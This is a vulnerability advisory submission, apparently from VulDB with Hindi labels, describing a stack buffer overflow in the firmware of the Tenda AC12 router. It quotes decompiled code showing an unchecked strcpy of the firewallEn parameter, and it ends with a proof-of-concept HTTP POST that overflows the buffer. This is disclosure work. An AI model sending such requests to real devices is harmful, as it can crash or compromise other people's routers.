| शीर्षक | Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin Buffer Overflow |
|---|
| विवरण | A buffer overflow vulnerability was discovered in Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin. Attackers can exploit this vulnerability by specifying the value of firewallEn. When firewallEn is passed to formSetFirewallCfg and copied into the fixed-size firewall_buf buffer by strcpy without length validation, it may cause a buffer overflow.
Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/SetFirewallCfg, registered as:
websFormDefine("SetFirewallCfg", (void (*)(webs_t, char_t *, char_t *))formSetFirewallCfg);
In formSetFirewallCfg, the attacker-controlled firewallEn parameter is read from the HTTP request:
firewall_value = websGetVar(wp, "firewallEn", "1111");
The destination buffer is a fixed-size stack buffer:
char firewall_buf[8];
The code only checks that strlen(firewall_value) >= 4. It does not check the maximum length of firewall_value before copying it into firewall_buf:
if ( strlen(firewall_value) >= 4 )
{
strcpy(firewall_buf, firewall_value);
GetValue("security.ddos.map", old_ddos_buf);
GetValue("firewall.pingwan", old_wan_ping_buf);
sprintf(mib_value, "%c,1500;%c,1500;%c,1500", firewall_buf[0], firewall_buf[2], firewall_buf[1]);
SetValue("security.ddos.map", mib_value);
SetValue("firewall.pingwan", &firewall_buf[3]);
}
Because strcpy copies the complete user-controlled firewallEn string into the 8-byte firewall_buf stack buffer, an overly long firewallEn value can overflow the buffer and corrupt adjacent stack memory.
Conceptual proof-of-concept request:
POST /goform/SetFirewallCfg HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded
firewallEn=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
|---|
| स्रोत | ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/AC12/3.md |
|---|
| उपयोगकर्ता | stksgg (UID 97520) |
|---|
| सबमिशन | 25/06/2026 08:52 AM (2 महीनों पहले) |
|---|
| संयम | 13/08/2026 08:47 PM (2 months later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 207260 [Tenda AC1206 15.03.06.23 formSetFirewallCfg firewallEn बफ़र ओवरफ़्लो] |
|---|
| अंक | 0 |
|---|